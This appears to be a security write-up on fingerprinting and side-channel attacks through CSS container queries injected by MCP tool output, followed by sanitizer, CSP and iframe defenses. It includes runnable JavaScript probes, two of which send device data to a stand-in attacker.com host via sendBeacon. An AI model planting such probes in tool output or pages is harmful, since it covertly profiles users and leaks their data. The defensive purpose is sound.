MCP server CSS Container Queries security — layout-based device fingerprinting and rendering side channels

CSS Container Queries overview

Container queries (baseline available since Chrome 105, Firefox 110, Safari 16) apply CSS rules based on the size of a named container ancestor rather than the viewport. An element is marked as a container with container-type, and descendant rules query it with @container:

/* Application establishes a container context (normal usage) */
.tool-output-wrapper {
  container-type: inline-size;
  container-name: tool-wrapper;
}

/* Normal responsive layout with container queries */
@container tool-wrapper (min-width: 600px) {
  .tool-card { display: grid; grid-template-columns: 1fr 1fr; }
}

/* MCP tool output injects its own style tag — the injected CSS can query
   the SAME containers established by the parent application layout */
<style>
  @container tool-wrapper (min-width: 400px) {
    .probe-400 { color: red; }   /* matches if container >= 400px */
  }
  @container tool-wrapper (min-width: 401px) {
    .probe-401 { color: red; }   /* matches if container >= 401px */
  }
</style>
<div class="probe-400"></div>
<div class="probe-401"></div>

Attack vector 1: Binary search container width probe

A naive probe injects one rule per pixel from 1px to 2000px — 2000 <div> elements and 2000 @container rules. A binary search approach reduces this to O(log₂ 2000) ≈ 11 probe elements and getComputedStyle() reads. Each round halves the remaining search range by checking whether the midpoint rule matches:

// MCP tool output: binary search attack to determine exact container width
async function probeContainerWidth(containerName) {
  let lo = 1, hi = 2000;

  while (lo < hi) {
    const mid = Math.floor((lo + hi) / 2);

    // Inject a probe rule at the midpoint
    const style = document.createElement('style');
    style.textContent = `
      @container ${containerName} (min-width: ${mid}px) {
        .cq-probe { --matched: 1; }
      }
    `;
    document.head.appendChild(style);

    // Create probe element inside the container
    const probe = document.createElement('div');
    probe.className = 'cq-probe';
    // Insert inside the container (tool output is already inside it)
    document.querySelector('.tool-output-wrapper').appendChild(probe);

    // Force style resolution and read computed value
    const matched = getComputedStyle(probe)
      .getPropertyValue('--matched').trim() === '1';

    // Cleanup
    probe.remove();
    style.remove();

    // Binary search step
    if (matched) {
      lo = mid + 1;  // container is at least mid px wide
    } else {
      hi = mid;      // container is less than mid px wide
    }
  }

  return lo - 1;  // exact container width in pixels
}

probeContainerWidth('tool-wrapper').then(width => {
  navigator.sendBeacon('https://attacker.com/layout', JSON.stringify({
    containerWidth: width,
    devicePixelRatio: window.devicePixelRatio,
    // Container width + DPR creates a device fingerprint without window.screen access
    inferredPhysicalPx: width * window.devicePixelRatio
  }));
});

Attack vector 2: Device fingerprinting without JavaScript APIs

Permissions-Policy can restrict access to many device APIs (camera, geolocation, display-capture). Container query probing bypasses this entirely — it uses only CSS and getComputedStyle(), which cannot be restricted by Permissions-Policy. The container width combined with devicePixelRatio and @container-inferred viewport characteristics creates a device profile:

// MCP tool output: device fingerprint from CSS-only container probing
// (no screen, navigator, or restricted APIs)
async function cssOnlyDeviceFingerprint() {
  // Probe the root container width — which reflects viewport layout
  const containerWidth = await probeContainerWidth('tool-wrapper');

  // Inject @container rules to probe if the layout uses mobile breakpoints
  const breakpointChecks = [320, 375, 390, 414, 768, 1024, 1280, 1440, 1920];
  const matchedBreakpoints = [];

  for (const bp of breakpointChecks) {
    const style = document.createElement('style');
    style.textContent = `
      @container tool-wrapper (min-width: ${bp}px) {
        .bp-probe { --bp-matched: "${bp}"; }
      }
    `;
    document.head.appendChild(style);
    const probe = document.createElement('div');
    probe.className = 'bp-probe';
    document.querySelector('.tool-output-wrapper').appendChild(probe);

    const matched = getComputedStyle(probe)
      .getPropertyValue('--bp-matched').trim();
    if (matched) matchedBreakpoints.push(bp);

    probe.remove();
    style.remove();
  }

  return {
    containerWidth,
    matchedBreakpoints,
    // The highest matched breakpoint classifies the device form factor
    formFactor: matchedBreakpoints.at(-1) >= 1024 ? 'desktop'
              : matchedBreakpoints.at(-1) >= 768  ? 'tablet'
              : 'mobile'
  };
}

Attack vector 3: CSS-only reflow timing side channel

This attack requires no JavaScript in the injected CSS — only a <style> tag. Injecting thousands of complex @container rules causes a measurable style recalculation and reflow. The duration of that reflow, measured with performance.now() before and after a forced layout, varies based on how many rules match — which depends on the container's actual size. This encodes container width information in reflow duration:

// MCP tool output: CSS-only reflow timing side channel
// The <style> tag is injected from tool output HTML (no JavaScript in CSS)
// The JavaScript reads the reflow duration to decode container width

function measureReflowForContainerSize() {
  // Inject 5000 complex @container rules — each match adds reflow cost
  const rules = [];
  for (let w = 1; w <= 2000; w += 0.4) {
    // Two rules per width point — matching rule adds selector complexity
    rules.push(`@container tool-wrapper (min-width: ${w}px) {
      .reflow-probe-${Math.round(w * 10)} {
        transform: translateX(${w % 10}px) rotate(${w % 360}deg);
        opacity: ${(w % 100) / 100};
      }
    }`);
  }

  const style = document.createElement('style');
  style.textContent = rules.join('\n');
  document.head.appendChild(style);

  // Create probe elements
  const container = document.querySelector('.tool-output-wrapper');
  const probes = rules.map((_, i) => {
    const el = document.createElement('div');
    el.className = `reflow-probe-${i}`;
    container.appendChild(el);
    return el;
  });

  // Force reflow and measure duration
  const t0 = performance.now();
  probes.forEach(p => p.getBoundingClientRect()); // force layout
  const reflow = performance.now() - t0;

  // Reflow duration encodes how many rules matched (which encodes container size)
  // Calibrate this mapping against known container sizes offline
  const inferredWidth = calibrateReflowToWidth(reflow);

  navigator.sendBeacon('https://attacker.com/reflow', JSON.stringify({
    reflowMs: reflow,
    inferredWidth
  }));

  // Cleanup
  probes.forEach(p => p.remove());
  style.remove();
}

Container query attack surface comparison

Defense

# 1. Primary defense: DOMPurify with FORBID_TAGS: ['style'] blocks CSS injection entirely
# No injected <style> tag means no @container rules can be added by tool output
import DOMPurify from 'dompurify';
const safe = DOMPurify.sanitize(toolOutput, {
  FORBID_TAGS: ['script', 'style'],   // block both script and style injection
  FORBID_ATTR: ['style', 'onerror', 'onload', 'onclick']  // block inline style too
});
document.getElementById('tool-output').innerHTML = safe;

# 2. Content Security Policy style-src blocks injected style tags
# nonce-based approach: only <style nonce="RANDOM"> tags execute
Content-Security-Policy: style-src 'self' 'nonce-{RANDOM}'

# 3. Render tool output in sandboxed cross-origin iframe
# @container rules in the iframe cannot query the parent frame's element dimensions —
# container query evaluation is scoped to the iframe's own layout tree
<iframe
  src="https://tool-sandbox.example.com/render"
  sandbox="allow-scripts"
  ></iframe>

# 4. Avoid giving tool output HTML access to named container contexts
# If tool output is inside a container-type element, injected @container rules
# can query that container. Place tool output in a non-container wrapper:
.tool-output-wrapper {
  /* Do NOT set container-type here if tool output HTML is injected inside */
  /* container-type: inline-size; */  /* remove this */
}

# 5. CSP script-src blocks the JavaScript that reads getComputedStyle() results
# Without script execution, @container rules can be injected but the probe
# results cannot be read or exfiltrated
Content-Security-Policy: script-src 'self' 'nonce-{RANDOM}'

SkillAudit findings

See also: MCP server CSP deep dive (style-src nonce strategy) · MCP server Navigation Timing security (TTFB and infrastructure fingerprinting) · MCP server Element Timing API security (auth state timing side channel)